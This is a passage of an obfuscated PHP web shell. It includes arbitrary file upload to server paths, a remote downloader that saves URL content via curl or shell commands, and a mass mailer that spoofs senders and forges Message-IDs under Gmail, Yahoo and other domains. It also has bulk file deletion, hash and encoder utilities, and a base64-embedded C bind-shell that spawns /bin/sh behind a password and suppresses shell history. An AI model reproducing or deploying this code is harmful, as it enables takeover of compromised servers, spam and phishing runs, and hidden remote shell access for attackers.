7301 echo z2b(z9s("161")) . $umsg . z10e(z5n() . z9f(z9j(z5m(array('act' => 'upload',
7302 'd', 'usubmit' => '1'), z10e(z7i(z5t(z9s("162")) . z9j(z9h('file1', '2') . z8v(z9s
7303 ("170"), '7') . $wdt)) . z7i(z5t(z9s("163")) . z9j(z6i('rfile1', (@isset($rfile1) ?
7304 $rfile1 : ''), "9"))) . z7i(z5t(z9s("164")) . z9j(z6i('path1', (@isset($path1) ?
7305 $path1 : $d), "9")))))) . z9j(z5c(array('act' => 'upload', 'd', 'multiupload' =>
7306 '1'), z10e(z7i(z9j(z8e(z9s("166")) . z6i('lno', ((@isset($lno)) ? $lno : '10'),
7307 '1') . z8v(z9s("169"), '7'))))))) . z5n(), '2');
7308 } else {
7309 if (@isset($msubmit) && $msubmit) {
7310 global $_FILES;
7311 foreach ($_FILES as $fk => $fv) {
7312 $dest = '';
7313 if (!@empty($_FILES[$fk]['tmp_name'])) {
7314 $dest = $_FILES[$fk]['name'];
7315 }
7316 if (@isset($rfile[$fk]) && !@empty($rfile[$fk])) {
7317 $dest = $rfile[$fk];
7318 }
7319 if (!@isset($mpath) || @empty($mpath))
7320 $mpath = $d;
7321 $mpath = z1a($mpath);
7322 if (!@empty($dest)) {
7323 if (!@move_uploaded_file($_FILES[$fk]['tmp_name'], $mpath . $dest)) {
7324 $mmsg .= z9s("172", array($_FILES[$fk]['name'], $_FILES[$fk]['tmp_name'], $mpath .
7325 $dest)) . z9x();
7326 } else {
7327 $mmsg .= z9s("173", array($_FILES[$fk]['name'], $mpath . $dest)) . z9x();
7328 $ls_a[] = $mpath . $dest;
7329 $nolsmenu = 1;
7330 $act = "ls";
7331 $ftarget = '1';
7332 $d = $mpath;
7333 }
7334 }
7335 }
7336 if ($mmsg != '')
7337 $mmsg = z10e(z7i(z9j($mmsg)));
7338 }
7339 $form = '';
7340 if (!@is_numeric($lno))
7341 $lno = 10;
7342 for ($i = 0; $i < $lno; $i++) {
7343 $ii = ($i + 1);
7344 $form .= z7i(z5t(z9s("162") . " " . $ii) . z9j(z9h('file' . $ii, '2')) . z5t(z9s
7345 ("163")) . z9j(z6i('rfile[file' . $ii . ']', '', "0")));
7346 }
7347 echo z2b(z9s("168")) . $mmsg . z5m(array('act' => 'upload', 'd', 'multiupload' =>
7348 '1', 'lno', 'msubmit' => '1'), z10e(z5n() . $form) . z10e(z5n() . z7i(z5t(z9s("164")) .
7349 z9j(z6i('mpath', (@isset($mpath) ? $mpath : $d), "9") . z8v(z9s("170"), '7') . $wdt)) .
7350 z5n()));
7351 }
7352 if ($bcurl)
7353 $a_get['phpcurl'] = "use php->curl";
7354 if ($bfsock)
7355 $a_get['fsock'] = "use php->fsockopen";
7356 if (z7r('ini_get') && z8l('allow_url_fopen') && z7r('file_get_contents'))
7357 $a_get['file_get_contents'] = "use php->file_get_contents";
7358 if ($nix && $sh_exec) {
7359 foreach ($getaliases as $k => $v) {
7360 if (z8u($k))
7361 $a_get[$k] = "use cmd->$k";
7362 }
7363 }
7364 if (@count($a_get) > 0) {
7365 if (@isset($rsubmit) && $rsubmit) {
7366 $fct = '';
7367 if (!@preg_match(":^(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)?(/[^/][a-zA-Z0-9\.\,\?\'\\/\+&%\$#\=~_\-@]*)*$:i",
7368 $uploadurl)) {
7369 $rmsg = z9s("171", $uploadurl);
7370 } else {
7371 $dest = z2h($uploadurl);
7372 if (@isset($nameurl) && !@empty($nameurl))
7373 $dest = $nameurl;
7374 if (@empty($dest))
7375 $dest = 'index.html';
7376 if (!@isset($rpath) || @empty($rpath))
7377 $rpath = $d;
7378 $rpath = z1a($rpath);
7379 if (z4q($rpath . $dest)) {
7380 $i = 1;
7381 while (z4q($rpath . $dest)) {
7382 if ($i == 1) {
7383 $dest = $dest . "." . $i;
7384 } else {
7385 $dest = @substr($dest, 0, @strlen($dest) - 2) . "." . $i;
7386 }
7387 $i++;
7388 }
7389 }
7390 if ($upwith == 'phpcurl' || $upwith == 'fsock' || $upwith == 'file_get_contents') {
7391 if ($upwith == 'phpcurl')
7392 $fct = z3a($uploadurl);
7393 if ($upwith == 'fsock')
7394 $fct = z2f($uploadurl);
7395 if ($upwith == 'file_get_contents')
7396 $fct = @file_get_contents($uploadurl);
7397 if (!$fct || @empty($fct)) {
7398 $rmsg = z9s("174");
7399 } else {
7400 if (z9y($rpath . $dest, $fct)) {
7401 $rmsg = z9s("176", $rpath . $dest);
7402 $ls_a[] = $rpath . $dest;
7403 $nolsmenu = 1;
7404 $act = "ls";
7405 $d = $rpath;
7406 } else {
7407 $rmsg = z9s("175", $rpath . $dest);
7408 }
7409 }
7410 } else {
7411 if ($nix && $sh_exec && @isset($getaliases[$upwith])) {
7412 $ucmd = @str_replace('[%1%]', $upwith, $getaliases[$upwith]);
7413 $ucmd = @str_replace('[%2%]', $uploadurl, $ucmd);
7414 $ucmd = @str_replace('[%3%]', $rpath . $dest, $ucmd);
7415 z9t($ucmd, 1);
7416 if (z4q($rpath . $dest)) {
7417 $rmsg = z9s("176", $rpath . $dest);
7418 $ls_a[] = $rpath . $dest;
7419 $nolsmenu = 1;
7420 $act = "ls";
7421 $d = $rpath;
7422 } else {
7423 $rmsg = z9s("174");
7424 }
7425 }
7426 }
7427 }
7428 if ($rmsg != '')
7429 $rmsg = z10e(z7i(z9j($rmsg)));
7430 }
7431 echo z2b(z9s("167")) . $rmsg . z5c(array('act' => 'upload', 'd', 'rsubmit' =>
7432 '1'), z10e(z5n() . z7i(z5t(z9s("165")) . z9j(z6i('uploadurl', (@isset($uploadurl) ?
7433 $uploadurl : 'http://'), "0") . z4a('upwith', $a_get, '4', '1') . z8v(z9s("170"),
7434 '7') . $wdt)) . z7i(z5t(z9s("163")) . z9j(z6i('nameurl', (@isset($nameurl) ? $nameurl :
7435 ''), "9"))) . z7i(z5t(z9s("164")) . z9j(z6i('rpath', (@isset($rpath) ? $rpath :
7436 $d), "9"))) . z5n(), '2'));
7437 }
7438}
7439if (@isset($lsall) && @isset($action) && $action != '') {
7440 $lsall_arr = array();
7441 $tlsall_arr = @explode("\n", $lsall);
7442 foreach ($tlsall_arr as $tls) {
7443 $tls = @trim($tls);
7444 if (!@empty($tls) && !@in_array($tls, $lsall_arr)) {
7445 $lsall_arr[] = $tls;
7446 }
7447 }
7448 if (@count($lsall_arr) > 0) {
7449 foreach ($lsall_arr as $dfls) {
7450 if (@isset($use_buffer) && $use_buffer && @isset($bcopy) && @isset($bcut) && @
7451 is_array($bcopy) && @is_array($bcut)) {
7452 switch ($action) {
7453 case 'bcopy':
7454 if (!@in_array($dfls, $bcopy)) {
7455 z1l($dfls, 'bcopy');
7456 }
7457 break;
7458 case 'bcut':
7459 if (!@in_array($dfls, $bcut)) {
7460 z1l($dfls, 'bcut');
7461 }
7462 break;
7463 case 'bunsetcopy':
7464 if (@in_array($dfls, $bcopy)) {
7465 z1l($dfls, 'bcopy');
7466 }
7467 break;
7468 case 'bunsetcut':
7469 if (@in_array($dfls, $bcut)) {
7470 z1l($dfls, 'bcut');
7471 }
7472 break;
7473 case 'bunsetall':
7474 if (@in_array($dfls, $bcopy)) {
7475 z1l($dfls, 'bcopy');
7476 } elseif (@in_array($dfls, $bcut)) {
7477 z1l($dfls, 'bcut');
7478 }
7479 break;
7480 default:
7481 break;
7482 }
7483 }
7484 switch ($action) {
7485 case 'delete':
7486 if (z4q($dfls)) {
7487 z8d($dfls);
7488 }
7489 break;
7490 default:
7491 break;
7492 }
7493 }
7494 if (@isset($use_buffer) && $use_buffer)
7495 z1w();
7496 }
7497}
7498if ($act == 'mailer') {
7499 $smsg = $cmsg = '';
7500 $s_ok = $c_ok = 0;
7501 if (@isset($m1_submit) && $m1_submit) {
7502 if (@empty($m1_name) || @empty($m1_from) || @empty($m1_subj) || @empty($m1_msg) ||
7503 $m1_msg == "message" || @empty($m1_emails) || !@strstr($m1_emails, "@")) {
7504 $smsg = " : " . z9s("236");
7505 } else {
7506 $s_ok = 1;
7507 }
7508 } elseif (@isset($m2_submit) && $m2_submit) {
7509 if (@empty($m2_name) || @empty($m2_from) || @empty($m2_subj) || @empty($m2_msg) ||
7510 @empty($m2_csv) || !@preg_match('/"(.*?)"\s*,\s*"(.*?)"/', $m2_csv)) {
7511 $cmsg = " : " . z9s("236");
7512 } else {
7513 $c_ok = 1;
7514 }
7515 }
7516 if (!@isset($m1_msg) || @empty($m1_msg))
7517 $m1_msg = "message";
7518 if (!@isset($m1_emails) || @empty($m1_emails))
7519 $m1_emails = "e-mails";
7520 if (!@isset($m2_prefix) || @empty($m2_prefix))
7521 $m2_prefix = "column_prefix_";
7522 if (!@isset($m2_ecol) || !@is_numeric($m2_ecol))
7523 $m2_ecol = "0";
7524 if (!@isset($m2_msg) || @empty($m2_msg))
7525 $m2_msg = "Hello " . $m2_prefix . "1,\r\n\r\nYour Address: " . $m2_prefix . "2\r\nYour Phone: " .
7526 $m2_prefix . "3\r\n\r\nE-mail sent to: " . $m2_prefix . "0";
7527 if (!@isset($m2_csv) || @empty($m2_csv))
7528 $m2_csv = '"john@email","john","john\'s address","0123456789"' . "\r\n" .
7529 '"jane@email","jane","jane\'s address","9876543210"';
7530 echo z2b(array(z9s("212") . $smsg, z9s("213") . $cmsg), '46');
7531 echo z9m('2') . z7p() . z7k('', '4');
7532 echo z10e(z5n() . z9f(z9j(z10e(z5c(array("act" => "mailer", "d", "m1_submit" =>
7533 "1"), z7i(z9j(z8e(z9s("214"))) . z7e(z5u('m1_name', '', '7'))) . z7i(z9j(z8e(z9s
7534 ("215"))) . z7e(z5u('m1_from', '', '7'))) . z7i(z9j(z8e(z9s("216"))) . z7e(z5u('m1_subj',
7535 '', '7'))) . z7i(z6c(z5w('m1_msg', '3') . $m1_msg . z5q(), '2')) . z7i(z6c(z5w('m1_emails',
7536 '3') . $m1_emails . z5q(), '2')) . z7i(z6c(z10e(z7i(z9j(z8e(z9s("217")) . z5u('m1_str',
7537 '', '4')) . z9j(z8e(z9s("218")) . z4a('m1_replace', array("" => z9s("223"),
7538 "name" => z9s("224"), "email1" => z9s("225"), "email2" => z9s("226"),
7539 "emailhash" => z9s("227")), '4', 1)) . z9j(z8e(z9s("219")) . z4a("m1_where",
7540 array("subject" => z9s("228"), "message" => z9s("229"), "" => z9s("230")), '5',
7541 1))), '2'), '2')) . z7i(z6c(z10e(z7i(z9j(z5y("m1_rand1", z9s("231"), "m1_rand1"),
7542 '', '4') . z9j(z5y("m1_rand2", z9s("232"), "m1_rand2"), '', '4')), '2'), '2')) .
7543 z5n() . z7i(z6c(z8v(z9s("233"), '7') . z5y('m1_preview', z9s("234"),
7544 'm1_preview'), '2'))), '2'), '20')) . z5n(), '2');
7545 echo z7g() . z7k('', '46');
7546 echo z10e(z5n() . z9f(z9j(z10e(z5c(array('act' => 'mailer', "d", 'm2_submit' =>
7547 '1'), z7i(z9j(z8e(z9s("214"))) . z7e(z5u('m2_name', '', '7'))) . z7i(z9j(z8e(z9s
7548 ("215"))) . z7e(z5u('m2_from', '', '7'))) . z7i(z9j(z8e(z9s("216"))) . z7e(z5u('m2_subj',
7549 '', '7'))) . z7i(z6c(z5w('m2_msg', '3') . $m2_msg . z5q(), '2')) . z7i(z6c(z5w('m2_csv',
7550 '3') . $m2_csv . z5q(), '2')) . z7i(z6c(z10e(z7i(z9j(z8e(z9s("220")) . z6i('m2_ecol',
7551 $m2_ecol, '6')) . z9j(z8e(z9s("221")) . z5u('m2_prefix', '', '4')) . z9j(z8e(z9s
7552 ("222")) . z4a('m2_where', array("message" => z9s("229"), "" => z9s("230")), "4",
7553 1))), '2'), '2')) . z7i(z6c(z10e(z7i(z9j(z5y("m2_rand1", z9s("231"), "m2_rand1"),
7554 '', '4') . z9j(z5y("m2_rand2", z9s("232"), "m2_rand2"), '', '4')), '2'), '2')) .
7555 z5n() . z7i(z6c(z8v(z9s("233"), '7') . z5y('m2_preview', z9s("234"),
7556 "m2_preview") . ' ' . z5y('m2_verbose', z9s("235"), "m2_verbose"), '2'))), '2'),
7557 '20')) . z5n(), '2');
7558 echo z7g() . z7u() . z10w();
7559 if ($s_ok || $c_ok) {
7560 $host = array("aol.com", "att.net", "bellsouth.net", "comcast.net", "email.com",
7561 "gmail.com", "googlemail.com", "hotmail.com", "juno.com", "live.com",
7562 "lycos.com", "mail.com", "mindspring.com", "msn.com", "pacbell.com", "post.com",
7563 "prodigy.net", "rocketmail.com", "sbcglobal.net", "usa.com", "yahoo.com",
7564 "ymail.com");
7565 $ch = (@count($host) - 1);
7566 $i = 1;
7567 $m_success = 0;
7568 $m_failed = 0;
7569 $all_failed = array();
7570 if ($s_ok) {
7571 echo z9m('2') . z7i(z9j(z9s("237"), '8', '2') . z9j(z9s("238"), '8') . z9j(z9s("239"),
7572 '8') . z9j(z9s("240"), '8') . z9j(z9s("241"), '8', '3'));
7573 $m_all = @explode("\n", $m1_emails);
7574 $m_all = @array_unique($m_all);
7575 $m_count = @count($m_all);
7576 $m_len = @strlen($m_count);
7577 z5p();
7578 foreach ($m_all as $m_mail) {
7579 $from = $m1_from;
7580 if (@isset($m1_rand1) && $m1_rand1) {
7581 $from = @str_replace("@", @rand(100000, 999999) . "@", $from);
7582 }
7583 if (isset($m1_rand2) && $m1_rand2) {
7584 $hr = @rand(0, $ch);
7585 $m_msgid = @md5(@uniqid(@time())) . "@" . $host[$hr];
7586 } else {
7587 $m_msgid = @md5(@uniqid(@time())) . "@" . $_SERVER["SERVER_NAME"];
7588 }
7589 $header = "";
7590 $header .= "From: $m1_name <$from>\n";
7591 $header .= "Reply-To: <$from>\n";
7592 $header .= "Message-ID: <" . $m_msgid . ">\n";
7593 $header .= "MIME-Version: 1.0\n";
7594 $date = @date("Y-m-d");
7595 $header .= "Date: $date\n";
7596 $header .= "Content-Type: text/html; charset=UTF-8\n";
7597 $header .= "Content-Transfer-Encoding: 8bit\n\n";
7598 $m_msg = $m1_msg;
7599 $m_subj = $m1_subj;
7600 if (@isset($m1_str) && !@empty($m1_str) && @isset($m1_replace) && !@empty($m1_replace)) {
7601 if ($m1_replace == "name") {
7602 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message")
7603 $m_msg = @str_replace($m1_str, $m1_name, $m_msg);
7604 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject")
7605 $m_subj = @str_replace($m1_str, $m1_name, $m_subj);
7606 } elseif ($m1_replace == "email1") {
7607 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message")
7608 $m_msg = @str_replace($m1_str, $m1_from, $m_msg);
7609 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject")
7610 $m_subj = @str_replace($m1_str, $m1_from, $m_subj);
7611 } elseif ($m1_replace == "email2") {
7612 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message")
7613 $m_msg = @str_replace($m1_str, $m_mail, $m_msg);
7614 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject")
7615 $m_subj = @str_replace($m1_str, $m_mail, $m_subj);
7616 } elseif ($m1_replace == "emailhash") {
7617 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "message")
7618 $m_msg = @str_replace($m1_str, @md5($m_mail), $m_msg);
7619 if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "subject")
7620 $m_subj = @str_replace($m1_str, @md5($m_mail), $m_subj);
7621 }
7622 }
7623 $m_pad = "";
7624 if (@strlen($i) < $m_len)
7625 $m_pad = @str_repeat("0", ($m_len - @strlen($i)));
7626 if (!@empty($m_mail)) {
7627 if (@isset($m1_preview) && $m1_preview) {
7628 if ($i > 5)
7629 break;
7630 echo z9f(z9j($m_pad . $i, '14', '2') . z9j($m_mail, '14') . z9j($from, '14') .
7631 z9j($m_msgid, '14') . z9j(z5i(z9s("245")), '14', '3'), ($i % 2 ? '0' : '1'));
7632 } elseif (@mail($m_mail, $m_subj, $m_msg, $header)) {
7633 echo z9f(z9j($m_pad . $i, '14', '2') . z9j($m_mail, '14') . z9j($from, '14') .
7634 z9j($m_msgid, '14') . z9j(z5i(z9s("243")), '14', '3'), ($i % 2 ? '0' : '1'));
7635 z5p();
7636 $m_success++;
7637 } else {
7638 echo z9f(z9j($m_pad . $i, '14', '2') . z9j($m_mail, '14') . z9j($from, '14') .
7639 z9j($m_msgid, '14') . z9j(z8z(z9s("244")), '14', '3'), ($i % 2 ? '0' : '1'));
7640 z5p();
7641 $all_failed[] = $m_mail;
7642 $m_failed++;
7643 }
7644 $i++;
7645 }
7646 }
7647 } elseif ($c_ok) {
7648 $fcsv = @str_replace("\r", "\n", $m2_csv);
7649 $fcsv = z3q("\n\n", "\n", $fcsv);
7650 $csv = z5g($fcsv);
7651 echo z9m('2') . z7i(z9j(z9s("237"), '8', '2') . z9j(z9s("238"), '8') . z9j(z9s("239"),
7652 '8') . ((@isset($m2_verbose) && $m2_verbose) ? z9j(z9s("242"), '8') : '') . z9j
7653 (z9s("240"), '8') . z9j(z9s("241"), '8', '3'));
7654 $m_count = @count($csv);
7655 $m_len = @strlen($m_count);
7656 z5p();
7657 foreach ($csv as $str_csv) {
7658 if (@is_array($str_csv)) {
7659 $from = $m2_from;
7660 $m_mail = $str_csv[$m2_ecol];
7661 if (@isset($m2_rand1) && $m2_rand1) {
7662 $from = @str_replace("@", @rand(100000, 999999) . "@", $from);
7663 }
7664 if (isset($m2_rand2) && $m2_rand2) {
7665 $hr = @rand(0, $ch);
7666 $m_msgid = @md5(@uniqid(@time())) . "@" . $host[$hr];
7667 } else {
7668 $m_msgid = @md5(@uniqid(@time())) . "@" . $_SERVER["SERVER_NAME"];
7669 }
7670 $header = "";
7671 $header .= "From: $m2_name <$from>\n";
7672 $header .= "Reply-To: <$from>\n";
7673 $header .= "Message-ID: <" . $m_msgid . ">\n";
7674 $header .= "MIME-Version: 1.0\n";
7675 $date = @date("Y-m-d");
7676 $header .= "Date: $date\n";
7677 $header .= "Content-Type: text/html; charset=UTF-8\n";
7678 $header .= "Content-Transfer-Encoding: 8bit\n\n";
7679 $m_msg = $m2_msg;
7680 $m_subj = $m2_subj;
7681 $repl = array();
7682 for ($si = (@count($str_csv) - 1); $si >= 0; $si--) {
7683 if (@empty($m2_where)) {
7684 $m_msg = @str_replace($m2_prefix . $si, $str_csv[$si], $m_msg);
7685 $m_subj = @str_replace($m2_prefix . $si, $str_csv[$si], $m_subj);
7686 $repl[] = $m2_prefix . $si . " = " . $str_csv[$si] . z9x();
7687 } else {
7688 $m_msg = @str_replace($m2_prefix . $si, $str_csv[$si], $m_msg);
7689 $repl[] = $m2_prefix . $si . " = " . $str_csv[$si] . z9x();
7690 }
7691 }
7692 $replacing = (@count($repl) > 0 ? @implode('', @array_reverse($repl)) : '');
7693 $m_pad = "";
7694 if (@strlen($i) < $m_len)
7695 $m_pad = @str_repeat("0", ($m_len - @strlen($i)));
7696 if (!@empty($m_mail)) {
7697 if (@isset($m2_preview) && $m2_preview) {
7698 if ($i > 5)
7699 break;
7700 echo z9f(z9j($m_pad . $i, '14', '2') . z9j($m_mail, '14') . z9j($from, '14') . ((@
7701 isset($m2_verbose) && $m2_verbose) ? z9j($replacing, '14') : '') . z9j($m_msgid,
7702 '14') . z9j(z5i(z9s("245")), '14', '3'), ($i % 2 ? '0' : '1'));
7703 } elseif (@mail($m_mail, $m_subj, $m_msg, $header)) {
7704 echo z9f(z9j($m_pad . $i, '14', '2') . z9j($m_mail, '14') . z9j($from, '14') . ((@
7705 isset($m2_verbose) && $m2_verbose) ? z9j($replacing, '14') : '') . z9j($m_msgid,
7706 '14') . z9j(z5i(z9s("243")), '14', '3'), ($i % 2 ? '0' : '1'));
7707 z5p();
7708 $m_success++;
7709 } else {
7710 echo z9f(z9j($m_pad . $i, '14', '2') . z9j($m_mail, '14') . z9j($from, '14') . ((@
7711 isset($m2_verbose) && $m2_verbose) ? z9j($replacing, '14') : '') . z9j($m_msgid,
7712 '14') . z9j(z8z(z9s("244")), '14', '3'), ($i % 2 ? '0' : '1'));
7713 z5p();
7714 $all_failed[] = $m_mail;
7715 $m_failed++;
7716 }
7717 $i++;
7718 }
7719 }
7720 }
7721 echo z10w();
7722 }
7723 if (!@isset($m2_preview) || !$m2_preview) {
7724 echo z6d() . z10e(z7i(z6x(z9s("426", $m_count) . z9c() . z9s("427", $m_success) .
7725 z9c() . z9s("428", $m_failed) . ($m_failed > 0 ? z9c() . z9s("431") : ''))), '2');
7726 if (@count($all_failed) > 0) {
7727 echo z10e(z9f(z6x(z5w('', '1', 1) . @implode("\n", @array_unique($all_failed)) .
7728 z5q())), '2');
7729 }
7730 }
7731 }
7732}
7733if ($act == 'encoders') {
7734 $hash_algos = array('' => z9s("260"));
7735 if (!@isset($hash_input))
7736 $hash_input = '';
7737 if (z7r("hash_algos") && @z7r("hash")) {
7738 $hfnc = 1;
7739 $hashes = @hash_algos();
7740 } else {
7741 $hfnc = 0;
7742 $hashes = array();
7743 foreach (array("md5", "sha1", "crc32") as $hh) {
7744 if (z7r($hh))
7745 $hashes[] = $hh;
7746 }
7747 }
7748 foreach ($hashes as $ha)
7749 $hash_algos[$ha] = $ha;
7750 $encode_functions = z0x();
7751 $submited = 0;
7752 if (@isset($submit_encode) && $submit_encode && @isset($encoder_input) && !@
7753 empty($encoder_input))
7754 $submited = 1;
7755 $encoder_output = "";
7756 if (!@isset($ip_input) || @empty($ip_input)) {
7757 $ip_input = $saddr;
7758 }
7759 echo z2b(array(z9s("246"), z9s("253")), "46");
7760 echo z9m(2) . z7p() . z7k('', '4') . z6d() . z9m('2') . z9l('', 'hash_form') .
7761 z9b("act", "encoders") . z9b("d") . z9b("htype", "1") . z7i(z5t(z9s("247")) .
7762 z9j(z5u("hashinput", "", "5") . z8v(z9s("248"), '7') . z8m(z9s("250"),
7763 'document.hash_form.hashinput.value=\'\';', '7'))) . z9z() . z10w();
7764 if (@isset($htype) && $htype) {
7765 echo z10e(z9f(z5t(z9s("251")) . z9j(z5w('', '6') . z2k($hashinput) . z5q())),
7766 "2");
7767 }
7768 echo z7g() . z7k('', '46') . z6d() . z9m('2') . z9l('', "ip_form") . z9b("act",
7769 "encoders") . z9b("d") . z9b("submit_ip", "1") . z7i(z5t(z9s("254")) . z9j(z6i("ip_input",
7770 @htmlspecialchars($ip_input), '5') . z8v(z9s("248"), '7') . z8m(z9s("250"),
7771 'document.ip_form.ip_input.value=\'\';', '7'))) . z9z() . z10w();
7772 if (@isset($submit_ip) && $submit_ip == "1" && @isset($ip_input) && !@empty($ip_input)) {
7773 echo z9m('2') . z7i(z5t(z9s("255")) . z9j(z8h(sprintf("%u", @ip2long($ip_input)),
7774 "0") . z9c() . z10y('http://' . @sprintf("%u", @ip2long($ip_input)) . '/', z9s("252"),
7775 "1", 1))) . z7i(z5t(z9s("256")) . z9j(z8h((z2n($ip_input) == "failed") ?
7776 "failed" : z2n($ip_input), "0") . ((z2n($ip_input) == "failed") ? "" : z9c() .
7777 z10y('http://' . z2n($ip_input) . '/', z9s("252"), "1", 1)))) . z7i(z5t(z9s("257")) .
7778 z9j(z8h((z1h($ip_input) == "failed") ? "failed" : z1h($ip_input), "0") . ((z1h($ip_input) ==
7779 "failed") ? "" : z9c() . z10y('http://' . z1h($ip_input) . '/', z9s("252"), "1",
7780 1)))) . z10w();
7781 }
7782 echo z6d();
7783 echo z7g() . z7u() . z10w();
7784 echo z2b(array(z9s("432"), z9s("433")), '46');
7785 echo z9m(2) . z7p() . z7k('', '4') . z6d() . z9m('2') . z9l('', "hashing_form") .
7786 z9b("act", "encoders") . z9b("d") . z7i(z5t(z9s("258")) . z9j(z4a('hash_type', $hash_algos,
7787 '5', 1) . z8v(z9s("249"), '7') . z8m(z9s("250"),
7788 'document.hashing_form.hash_input.value=\'\';', '7'))) . z9f(z5t(z9s("259")) .
7789 z9j(z5w('hash_input', '6') . (@isset($hash_input) ? @htmlspecialchars($hash_input) :
7790 '') . z5q())) . z9z() . z10w() . z6d() . z7g() . z7k('', '46') . z6d() . z9m('2') .
7791 z9l('', "encoder_form") . z9b("d") . z9b("act", "encoders") . z9b("submit_encode",
7792 "1") . z7i(z5t(z9s("91")) . z9j(z4a("encode_selected", $encode_functions, "5", 1,
7793 '') . z8v(z9s("249"), '7') . z8m(z9s("250"),
7794 'document.encoder_form.encoder_input.value=\'\';', '7'))) . z9f(z5t(z9s("259")) .
7795 z9j(z5w('encoder_input', '6') . (@isset($encoder_input) ? @htmlspecialchars($encoder_input) :
7796 '') . z5q())) . ($submited ? z7i(z5t(z9c()) . z9j(z8m(z9s("263"),
7797 'document.output_form.encoder_output.value=\'\';', '7') . z8m(z9s("264"),
7798 'document.encoder_form.encoder_input.value=document.output_form.encoder_output.value;',
7799 '7'))) : '') . z9z() . z10w() . z6d() . z7g() . z7u() . z10w();
7800 if (@isset($hash_input) && !@empty($hash_input)) {
7801 echo z2b(z9s("261")) . z6d();
7802 echo z9m('2');
7803 if (@count($hashes) > 0) {
7804 if (@isset($hash_type) && @in_array($hash_type, $hashes)) {
7805 echo z7i(z5t($hash_type) . z9j(z8h(($hfnc ? @hash($hash_type, $hash_input) : $hash_type
7806 ($hash_input)), '7')));
7807 } else {
7808 foreach ($hashes as $k) {
7809 echo z7i(z5t($k) . z9j(z8h(($hfnc ? @hash($k, $hash_input) : $k($hash_input)),
7810 '7')));
7811 }
7812 }
7813 }
7814 echo z10w() . z6d();
7815 }
7816 if ($submited) {
7817 $encoder_output = $encode_selected($encoder_input);
7818 echo z2b(z9s("262")) . z6d() . z9m('2') . z9l('', "output_form") . z9f(z6x(z5w('encoder_output',
7819 '1') . @htmlspecialchars($encoder_output) . z5q())) . z9z() . z10w() . z6d();
7820 }
7821}
7822if ($act == 'tools') {
7823 $bndprt_c = "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5ncy5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojZGVmaW5lIFAwUlQgJXBvcnQlCiNkZWZpbmUgUEFTUyAiJXBhc3MlIgoKaW50Cm1haW4oaW50IGEsIGNoYXIgKipiKQp7CmludCBjLCBkLCBlID0gc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbiksIGY7CmNoYXIgcFsxMDAwXTsKc3RydWN0IHNvY2thZGRyX2luIGwsIHI7CnNpZ25hbChTSUdDSExELCBTSUdfSUdOKTsKc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7CnNpZ25hbChTSUdURVJNLCBTSUdfSUdOKTsKc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7CmlmIChmb3JrKCkpCmV4aXQoMCk7Cmwuc2luX2ZhbWlseSA9IEFGX0lORVQ7Cmwuc2luX3BvcnQgPSBodG9ucyhQMFJUKTsKbC5zaW5fYWRkci5zX2FkZHIgPSBJTkFERFJfQU5ZOwpiemVybygmKGwuc2luX3plcm8pLCA4KTsKYyA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7CmJpbmQoYywoc3RydWN0IHNvY2thZGRyICopICZsLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7Cmxpc3RlbihjLCAzKTsKd2hpbGUgKChkID0gYWNjZXB0KGMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnIsICZlKSkpCnsKaWYgKCFmb3JrKCkpCnsKcmVjdihkLCBwLCAxMDAwLCAwKTsKaWYgKGNocGFzcyhQQVNTLHApKQp7CmNsb3NlKGQpOwpleGl0KDEpOwp9CmNsb3NlKDApOwpjbG9zZSgxKTsKY2xvc2UoMik7CmR1cDIoZCwgMCk7CmR1cDIoZCwgMSk7CmR1cDIoZCwgMik7CnNldGVudigiUEFUSCIsICIvc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbi86L3Vzci9sb2NhbC9zYmluOi4iLCAxKTsKdW5zZXRlbnYoIkhJU1RTQVZFIik7CnVuc2V0ZW52KCJISVNURklMRSIpOwpleGVjbCgiL2Jpbi9zaCIsICJzaCIsIChjaGFyICopIDApOwpjbG9zZShkKTsKZXhpdCgwKTsKfQp9CnJldHVybiAwOwp9CgppbnQgY2hwYXNzKGNoYXIgKmJhc2UsIGNoYXIgKmVudGVyZWQpIHsKaW50IGk7CmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSAKewppZihlbnRlcmVkW2ldID09ICdcbicpCmVudGVyZWRbaV0gPSAnXDAnOyAKaWYoZW50ZXJlZFtpXSA9PSAnXHInKQplbnRlcmVkW2ldID0gJ1wwJzsKfQppZiAoIXN0cmNtcChiYXNlLGVudGVyZWQpKQpyZXR1cm4gMDsKfQo=";
